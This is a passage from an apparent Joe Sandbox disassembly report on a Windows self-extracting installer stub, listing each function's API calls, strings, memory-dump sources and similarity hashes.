CreateWindowExA.USER32(00000200,Edit,0042790E,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 00408F36
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00408F49
GetDlgItem.USER32(?,000004B6), ref: 00408F58
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 00408F60
GetDlgItem.USER32(?,000004B6), ref: 00408F6D
SetFocus.USER32(00000000), ref: 00408F70

Strings

Edit, xrefs: 00408F2C

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 5b40b86b37f9b2fb6386d7f969e5f69cfd36e4eedd2983cdb07ff79b2ebd9da0
Instruction ID: 3db7f20ddd23434ef342f299713646c2b699985a6e1e88cb60e1e6d373dd7d0a
Opcode Fuzzy Hash: 5b40b86b37f9b2fb6386d7f969e5f69cfd36e4eedd2983cdb07ff79b2ebd9da0
Instruction Fuzzy Hash: 54218471600208BFDB21EBA5CD85EAFBBBDEF88B54F010029F605A3191CB749D018B64

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0CE Relevance: 15.2, APIs: 1, Strings: 9, Instructions: 182sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,00000000,SetEnvironment,h1^), ref: 0040A2BF

Strings

SetEnvironment, xrefs: 0040A0D5
FinishMessage, xrefs: 0040A1E8, 0040A200
ErrorTitle, xrefs: 0040A1BE
HelpText, xrefs: 0040A259
WarningTitle, xrefs: 0040A2D7
x}B, xrefs: 0040A2B3, 0040A2C5
h1^, xrefs: 0040A0D4
BeginPrompt, xrefs: 0040A10C, 0040A122
8~B, xrefs: 0040A172

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Sleep
String ID: 8~B$BeginPrompt$ErrorTitle$FinishMessage$HelpText$SetEnvironment$WarningTitle$h1^$x}B
API String ID: 3472027048-2373866184
Opcode ID: a30e1406589e3724aea250080292677538d657fc8b790d19575dd4150e20d04f
Instruction ID: 0d0e0a01c48454efa818391044959649a7a251a0b1d046cde7e536b1db1cf7b0
Opcode Fuzzy Hash: a30e1406589e3724aea250080292677538d657fc8b790d19575dd4150e20d04f
Instruction Fuzzy Hash: AC511C3174431296EB2477A5AC53B6A37A0AF60714F60403FF601BA2D1EBFC5865864F

Uniqueness

Uniqueness Score: -1.00%

Function 00408F7D Relevance: 15.1, APIs: 10, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0040885E: GetModuleHandleW.KERNEL32(00000000,00000065), ref: 00408881
Part of subcall function 0040885E: LoadIconW.USER32(00000000), ref: 00408888
Part of subcall function 0040885E: GetSystemMetrics.USER32(00000032), ref: 0040889A
Part of subcall function 0040885E: GetSystemMetrics.USER32(00000031), ref: 0040889F
Part of subcall function 0040885E: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000), ref: 004088A8
Part of subcall function 0040885E: LoadImageW.USER32(00000000), ref: 004088AF
Part of subcall function 0040885E: SendMessageW.USER32(?,00000080,00000001,00000000), ref: 004088CD
Part of subcall function 0040885E: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004088DA
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 004088F6
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 00408902
Part of subcall function 0040885E: GetWindowLongW.USER32(00000000,000000F0), ref: 00408909
Part of subcall function 0040885E: SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0040891E
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B5), ref: 0040892B
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B5), ref: 0040893B
Part of subcall function 0040885E: GetWindowLongW.USER32(00000000,000000F0), ref: 00408946
Part of subcall function 0040885E: SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00408955
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 0040896B

Part of subcall function 00409DFA: GetDlgItem.USER32(?,?), ref: 00409E09
Part of subcall function 00409DFA: ShowWindow.USER32(00000000,?,?,00408B2D,000004B1,00000000,?,?,?,?,000004B4,00000000,000004B3,00000000,?,00000000), ref: 00409E21

Part of subcall function 00408528: GetDlgItem.USER32(?,?), ref: 00408534

ClientToScreen.USER32(?,?), ref: 00408FCF
GetWindowRect.USER32(?,?), ref: 00408FE2
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000006), ref: 00408FFA
SetWindowLongW.USER32(?,000000F0,00800000), ref: 00409010
SetWindowLongW.USER32(?,000000EC,00000008), ref: 00409019
GetWindowRect.USER32(?,?), ref: 00409022

Part of subcall function 004098A5: GetDlgItem.USER32(?,00000020), ref: 004098C3
Part of subcall function 004098A5: SetWindowPos.USER32(00000000,?,004095FA,?,?,?,?,?,00000000,?,?,75C08FB0,?,?,?,00000020), ref: 004098CA

GetDlgItem.USER32(?,000004B2), ref: 0040904F
GetDlgItem.USER32(?,000004B2), ref: 0040905E
GetWindowLongW.USER32(00000000,000000F0), ref: 00409065
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00409074

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageMetricsModuleRectSendSystem$ClientIconImageScreenShow
String ID:
API String ID: 1121484998-0
Opcode ID: 8607c753e92394c66e636e55602cd2c73073be55cbc6d2555e96377a0dc2ed7e
Instruction ID: 0966584027bd9f1ce03a75c5dd1f1805fd1e8a040acfc7678cc80ea3a6fb31b6
Opcode Fuzzy Hash: 8607c753e92394c66e636e55602cd2c73073be55cbc6d2555e96377a0dc2ed7e
Instruction Fuzzy Hash: 7F310DB1A00119BFDB10DBA9CD85EAEBBB9FF48310F104125F514B3291CB74AD118BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041D419 Relevance: 15.1, APIs: 10, Instructions: 70COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D42F

Part of subcall function 0041D99A: HeapFree.KERNEL32(00000000,00000000,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?), ref: 0041D9B0
Part of subcall function 0041D99A: GetLastError.KERNEL32(?,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?,?), ref: 0041D9C2

_free.LIBCMT ref: 0041D43B
_free.LIBCMT ref: 0041D446
_free.LIBCMT ref: 0041D451
_free.LIBCMT ref: 0041D45C
_free.LIBCMT ref: 0041D467
_free.LIBCMT ref: 0041D472
_free.LIBCMT ref: 0041D47D
_free.LIBCMT ref: 0041D488
_free.LIBCMT ref: 0041D496

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ddc0f00c6005bea04ae8add10d77f24990280fa6bfaffc92491d0b1b3d99abe5
Instruction ID: 4d08888591343133376294af4e900ad8f560b8a1682f791f25b5534d159f5171
Opcode Fuzzy Hash: ddc0f00c6005bea04ae8add10d77f24990280fa6bfaffc92491d0b1b3d99abe5
Instruction Fuzzy Hash: 6821EEB6910108AFCF05EF95C851DDE7BB5FF08300F0095AAF5199B129DB39DA85CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0040197D Relevance: 13.8, APIs: 1, Strings: 8, Instructions: 346stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(006013F8), ref: 0040199A

Part of subcall function 00404995: lstrlenW.KERNEL32(?,006013FA,00000000,?,00401A2E,006013FA,004269B0), ref: 0040499D
Part of subcall function 00404995: lstrlenW.KERNEL32(?,?,00401A2E,006013FA,004269B0), ref: 004049A9

Strings

bpt, xrefs: 00401BE3
MiscFlags, xrefs: 00401B2F
SelfDelete, xrefs: 00401B6F
OverwriteMode, xrefs: 00401AAD
SfxVarCmdLine1, xrefs: 00401D0C
GUIMode, xrefs: 00401AF1
BeginPromptTimeout, xrefs: 00401BF8
GUIFlags, xrefs: 00401B10

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: lstrlen
String ID: BeginPromptTimeout$GUIFlags$GUIMode$MiscFlags$OverwriteMode$SelfDelete$SfxVarCmdLine1$bpt
API String ID: 1659193697-507222989
Opcode ID: 6d382d4057a2ca73c789a802943481e03c913096d7f7b739b69016f98dd0fcb7
Instruction ID: 96e2bade98d492ccbae3f476de90c7a62236cc71d5e9d7acc624c97e8de4ac41
Opcode Fuzzy Hash: 6d382d4057a2ca73c789a802943481e03c913096d7f7b739b69016f98dd0fcb7
Instruction Fuzzy Hash: E4A15772604215AADB24E7A5E852AFF73B8AF51714FA0403FF041B61F0EB7D9986C21D

Uniqueness

Uniqueness Score: -1.00%

Function 0041F9BC Relevance: 13.7, APIs: 9, Instructions: 202COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041F9E6
_free.LIBCMT ref: 0041FABF
_free.LIBCMT ref: 0041FAEC

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 1eac69c6a15afa916ffa849fd4b15098bfa07d8718329737ccf9796465f6274b
Instruction ID: c5402425f9bfb495e2fe2784cc57e6e9df06e5171d477117bf45f2f4ad90e6e5
Opcode Fuzzy Hash: 1eac69c6a15afa916ffa849fd4b15098bfa07d8718329737ccf9796465f6274b
Instruction Fuzzy Hash: DB51F6F0E08205AFDB10AF75C861AEE7BA4EF05354F00417FE41897281EB3DA9C68759

Uniqueness

Uniqueness Score: -1.00%

Function 004097CD Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 004097E3
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004097F5
GetDlgItem.USER32(?,000004B4), ref: 004097FF
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 0040980B
SendMessageW.USER32(?,00000401,?,00000000), ref: 0040981A
GetDlgItem.USER32(?,?), ref: 00409822
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 0040982E
GetDlgItem.USER32(?,?), ref: 00409836
SetFocus.USER32(00000000,?,?,004089E2,000004B4,000004B3,00000000,000004B4,00000000,?,00000000), ref: 00409839

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 48a766f62b29c038107595728edb1150328c1587db245420b6057b3475fdfb11
Instruction ID: a45feeef0dd245b92b4e83e4c90590e06151a5e321d98c8b48c1f57cdd1faa73
Opcode Fuzzy Hash: 48a766f62b29c038107595728edb1150328c1587db245420b6057b3475fdfb11
Instruction Fuzzy Hash: B1F0E171780318BAEF312B62DC4AF96BE1ADB44B60F058021FB086D0E5CAF2D8509A64

Uniqueness

Uniqueness Score: -1.00%

Function 00419550 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0041957B
___except_validate_context_record.LIBVCRUNTIME ref: 00419583
_ValidateLocalCookies.LIBCMT ref: 00419611
__IsNonwritableInCurrentImage.LIBCMT ref: 0041963C
_ValidateLocalCookies.LIBCMT ref: 00419691
RtlUnwind.KERNEL32(?,004196C9,00000000,00000000,?,00000001,?,?), ref: 004196C3

Strings

csm, xrefs: 00419626

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritableUnwind___except_validate_context_record
String ID: csm
API String ID: 2164997444-1018135373
Opcode ID: 8a6259d4419b478760f7f1cd86e228faf77c918d6228047d40e05c867fd1383e
Instruction ID: 362851c4966e9ec1714a09da723f233817ef10cbe7c002a26b8f8e313b607fb6
Opcode Fuzzy Hash: 8a6259d4419b478760f7f1cd86e228faf77c918d6228047d40e05c867fd1383e
Instruction Fuzzy Hash: 9841E931A00208ABCB10DF69D854ADFBBA5EF45328F14816BF8146B351D7399E51CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004081CF Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 004081E0
GetSystemMetrics.USER32(0000000B), ref: 004081F9
GetSystemMetrics.USER32(0000003D), ref: 00408202
GetSystemMetrics.USER32(0000003E), ref: 0040820B
SelectObject.GDI32(00000000,00000850), ref: 00408227
DrawTextW.USER32(00000000,?,000000FF,?,?), ref: 00408240
SelectObject.GDI32(00000000,?), ref: 00408267
ReleaseDC.USER32(?,00000000), ref: 00408274

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: c59eb972c746f34f7a16cefcd924eff9aa34f0cbf0084bea8b4fa5726c5a922e
Instruction ID: dab6c42b18a2efa65d39de467f70c40197563c9a8a7bf0016c7f108527743f92
Opcode Fuzzy Hash: c59eb972c746f34f7a16cefcd924eff9aa34f0cbf0084bea8b4fa5726c5a922e
Instruction Fuzzy Hash: 90214171600615EFCB20DFA9DD48D4ABBE8FF08320B12856AF559D7250D770E901CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00422B19 Relevance: 10.7, APIs: 7, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(005F1A48,005F1A48,?,7FFFFFFF,?,?,00422DBD,005F1A48,005F1A48,?,005F1A48,?,?,?,?,005F1A48), ref: 00422BC5
MultiByteToWideChar.KERNEL32(005F1A48,00000009,005F1A48,005F1A48,00000000,00000000,?,00422DBD,005F1A48,005F1A48,?,005F1A48,?,?,?,?), ref: 00422C48
MultiByteToWideChar.KERNEL32(005F1A48,00000001,005F1A48,005F1A48,00000000,00000000,?,00422DBD,005F1A48,005F1A48,?,005F1A48,?,?,?,?), ref: 00422CBE
MultiByteToWideChar.KERNEL32(005F1A48,00000009,00422DBD,005F1A48,00000000,00000000,?,00422DBD,005F1A48,005F1A48,?,005F1A48,?,?,?,?), ref: 00422CD5

Part of subcall function 0041E08C: RtlAllocateHeap.NTDLL(00000000,?,?,?,004199EC,?,?,00411598,00000008,?,00407D46,?,00401253,?,0040126C), ref: 0041E0BE

MultiByteToWideChar.KERNEL32(005F1A48,00000001,00422DBD,005F1A48,00000000,005F1A48,?,00422DBD,005F1A48,005F1A48,?,005F1A48,?,?,?,?), ref: 00422D39
__freea.LIBCMT ref: 00422D64
__freea.LIBCMT ref: 00422D70

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: dd0f9891209e4dae60e1eb3a7cce694e7632c60ff0589e0b567bb49edb7bcd15
Instruction ID: 1183d272c400887cee638d6ab53bcadaf206f74bd9857aa7bc9549446da639e7
Opcode Fuzzy Hash: dd0f9891209e4dae60e1eb3a7cce694e7632c60ff0589e0b567bb49edb7bcd15
Instruction Fuzzy Hash: 5081C471F00239BEDF209E65EA41AEF7BB5EF49310F94015BE800E7241D6AD9D418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00421C65 Relevance: 10.7, APIs: 7, Instructions: 162fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000001,00000020,?,?,?,?,?,?,?,004223F1,00000008,00000001,00000020,0000002C,?), ref: 00421CA7
__fassign.LIBCMT ref: 00421D26
__fassign.LIBCMT ref: 00421D45
WideCharToMultiByte.KERNEL32(?,00000000,00000001,00000001,00000020,00000005,00000000,00000000), ref: 00421D72
WriteFile.KERNEL32(?,00000020,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,004223F1), ref: 00421D92
WriteFile.KERNEL32(?,00000008,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,004223F1), ref: 00421DCC

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8861e55b2deebf9ceda46804f1544e1d8c982c4a3192cbb3f11e42dbff19f942
Instruction ID: 6f6dfb112a61197fbdb2338191877b4208cf4f13c9af87cc2f04a49d4538ef9a
Opcode Fuzzy Hash: 8861e55b2deebf9ceda46804f1544e1d8c982c4a3192cbb3f11e42dbff19f942
Instruction Fuzzy Hash: 5251A470E00259EFCB10CFA8EC41AEEBBF8EF19301F55412AE955E7261D734A951CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00409982 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004099BA
GetDlgItem.USER32(?,000004B8), ref: 004099D7
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 004099E6
wsprintfW.USER32 ref: 00409A04
GetDlgItem.USER32(?,000004B5), ref: 00409A22

Strings

%d%%, xrefs: 004099FE

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Item$MessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3151147563-1518462796
Opcode ID: 3fa45e0799bae598f2e2d8a864a9c057193c1e189951e1899dba785b90c90288
Instruction ID: f831b45a37a22fdc108a7bfc71eebf2ed6f9503aec473efda8661382884f837a
Opcode Fuzzy Hash: 3fa45e0799bae598f2e2d8a864a9c057193c1e189951e1899dba785b90c90288
Instruction Fuzzy Hash: ED31A071700704AFDB11EBA1DC86E9AB7B9FF08704F00442EFA42A62A1D779ED11CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004035E2 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 86COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00403667
wsprintfA.USER32 ref: 00403694

Strings

;!@InstallEnd@!, xrefs: 004035FF
;!@Install@!UTF-8!, xrefs: 004035F0
:Language:%u, xrefs: 0040368E
:%hs, xrefs: 00403661
pmB, xrefs: 004036AF

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!$pmB
API String ID: 2111968516-1545194454
Opcode ID: 9d33dae7559d74c23fd277cb4f8ddb1c556643c69bae9550fd23670df56f4f64
Instruction ID: 60c5b3630a3d17464a18ad6685be7650a209dccd31f8d24a88da0c1d00ae080f
Opcode Fuzzy Hash: 9d33dae7559d74c23fd277cb4f8ddb1c556643c69bae9550fd23670df56f4f64
Instruction Fuzzy Hash: BF21A675B00118BBCF20ABA1DC95DDE776EEF84314B10011FF911A3392CB3C9A45C699

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA22 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 0041DA8C
api-ms-, xrefs: 0041DA78

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 8ac891841e66442e6bb3a8eea7a1bf664397751b05d4126a4f9a7c3eb770e89d
Instruction ID: 7de94457b7210b4520337a5ad058fb98b51ba7c9d1421d373705d7ac6e7c4988
Opcode Fuzzy Hash: 8ac891841e66442e6bb3a8eea7a1bf664397751b05d4126a4f9a7c3eb770e89d
Instruction Fuzzy Hash: 332108B1F49220ABCB31DA249C40BAB7758AF417E0F150662EC06A7391D678EC41C5ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409E30 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,00000000,000001F4,00000000), ref: 00409E6E
GetDC.USER32(00000000), ref: 00409E79
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00409E84
MulDiv.KERNEL32(?,00000048,00000000), ref: 00409E93
ReleaseDC.USER32(00000000,00000000), ref: 00409EA1
GetModuleHandleW.KERNEL32(00000000), ref: 00409EC9
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00009B8A), ref: 00409EFE

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystem
String ID:
API String ID: 3212456201-0
Opcode ID: d58813d15bbcde52b57d9eb75f986c0cf3692e14620bcbda2fc6d6ac84b21421
Instruction ID: 5ccaae8dd81ddc1720211ea1a46ef141fcb67c42bad7c984d5c153eb0fb85a5c
Opcode Fuzzy Hash: d58813d15bbcde52b57d9eb75f986c0cf3692e14620bcbda2fc6d6ac84b21421
Instruction Fuzzy Hash: 7421D575600254AFE7219B21DC49EFB7B7CEF86702F0000BAFE05A2291D7744E85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00420520 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004204E8: _free.LIBCMT ref: 0042050D

_free.LIBCMT ref: 0042056E

